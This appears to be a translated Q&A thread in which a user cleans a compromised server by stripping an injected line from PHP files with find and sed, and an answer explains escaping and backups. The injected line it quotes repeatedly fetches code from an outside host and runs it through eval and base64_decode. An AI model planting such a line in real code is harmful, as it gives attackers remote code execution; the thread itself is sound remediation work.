sed não pode obter correspondência de string

1

Para a vida de mim eu não consigo fazer isso funcionar, não importa quantas combinações diferentes eu tente. Eu estou tentando recursivamente procurar uma pasta para arquivos php contendo uma determinada seqüência e substituí-lo com outra coisa, mas não devo estar escapando corretamente:

find . -name "*.php" -print | xargs sed -i "s|<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>|?>|g"

Sed parece não encontrar nada, mesmo que eu saiba que a string está em vários arquivos (infelizmente parece que nosso servidor foi comprometido).

    
por Leah 20.03.2014 / 06:07

1 resposta

0

Eu assumirei que seu arquivo de entrada se parece com:

<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>

Eu assumirei que a substituição que você quer executar é exatamente como escrita. Então, para que isso funcione, a única mudança necessária é escapar dos sinais de dólar. Assim, use:

find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;

Uma abordagem mais segura é usar aspas simples sempre que possível para evitar a interpolação de shell:

find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

Com minha entrada presumida, o acima produz a saída:

?>

Observe que o uso de xargs é desnecessário. As versões modernas de find têm uma opção -exec que faz mais do que o xargs costumava fazer.

MORE: Para ver em quais arquivos sed está trabalhando, pode-se adicionar uma instrução print ao comando find :

find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

Conforme a execução acima, os nomes dos arquivos sendo alimentados para sed serão exibidos no terminal (stdout).

MORE: Para ver exatamente quais alterações sed fizeram nos arquivos, mantenha um backup dos originais:

find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

Nesse caso, se sed processar something.php , o original será salvo em something.php.saved . Depois disso, as alterações, se houver, podem ser inspecionadas via:

diff something.php.saved something.php
    
por 20.03.2014 / 06:30

Tags